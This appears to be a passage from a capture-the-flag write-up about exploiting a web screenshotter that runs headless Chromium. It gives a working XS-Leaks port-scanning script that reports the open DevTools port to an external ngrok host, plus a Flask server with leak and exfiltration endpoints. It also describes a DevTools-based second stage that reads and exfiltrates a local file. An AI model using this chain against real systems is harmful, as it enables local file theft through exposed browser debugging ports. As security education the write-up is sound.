A remote debugging port is exposed. This normally allows us to send commands to the browser through the DevTools protocol. In this case, however, we can see that the debugging port is randomised.
exportdefaultfunction () {let port =9000+Math.floor(Math.random() *2000);return port;}
Leaking the Debugging Port
We had a range of 2000 possible ports to scan, but the browser will only live for 30 seconds before it was closed.
If we could leak the debugging port, then we could communicate with the Chromium instance to open a new page with the file:///tmp/flag URL, and read its contents.
There are many ways to do this, but my first reaction was to do it through a common XS-Leaks technique. The idea is that if the port is closed, trying to load it as a resource would yield a Connection Refused error, triggering the onerror event handler. Otherwise, the onload event handler would be fired instead on successful loading.
<html>
<body>
<script>
(async () => {
const leak = async (url) => {
return new Promise((r) => {
let s = document.createElement('script')
s.src = url
s.onload = (e) => {
e.target.remove()
return r(0)
}
s.onerror = (e) => {
e.target.remove()
return r(1)
}
document.head.appendChild(s)
})
}
for (let i = 0; i < 2000; i++) {
let port = 9000 + i;
let res = await leak(`http://localhost:${port}/`)
if (res == 0) {
console.log(`Port ${port} is open`)
try {
fetch(`http://986d-42-60-68-174.ngrok.io/leak?port=${port}`)
}
catch {}
break
}
}
})();
</script>
</body>
</html>
This was sufficient to leak the debugging port within 5-10 seconds. Once we get the port number, we need to modify our second-stage payload with the updated port number, so I wrote the port number to a port.txt file to be read by another script later on.
from flask import Flask, request, send_fileapp =Flask(__name__)@app.route('/<path:path>')defsend(path):returnsend_file(path)@app.route('/exfil', methods=['POST'])defreceive():print(request.data)return request.data@app.route('/leak')defleak(): port = request.args.get('port')open("port.txt", "w").write(port)return"OK"if__name__=='__main__': app.run('0.0.0.0', 5000)
Reading the Response
Now that we know the port, we could fetch http://127.0.0.1:<PORT>/json/new?file:///tmp/flag.txt to tell the browser to open a new page with the file:///tmp/flag.txt URL.
The response would then contain a webSocketDebuggerUrl that allows us to send commands to the browser through a WebSocket connection.
Unfortunately, due to the same-origin policy, we can't directly read the response through the Fetch API. But by loading an iframe, the response is shown in the screenshotter service as an image. We can add the following to our script above, to load the iframe and open a second-stage exploit after 10 seconds to communicate with the WebSocket URL.
The result of the screenshotter service would look something like this. We need to interpret the result and modify our second-stage exploit before the 10 seconds is up and the browser opens it.
I used PyTesseract to perform OCR on the result and extract the WebSocket URL. Due to the quality of the image, this was only fully accurate about 1 in 5 times. The script will also update our second-stage payload with the correct port and WebSocket URL.
After we have done all that, the second-stage payload is opened. The Runtime.evaluate method is used to execute JavaScript on the file:///tmp/flag.txt page, and exfiltrate its contents.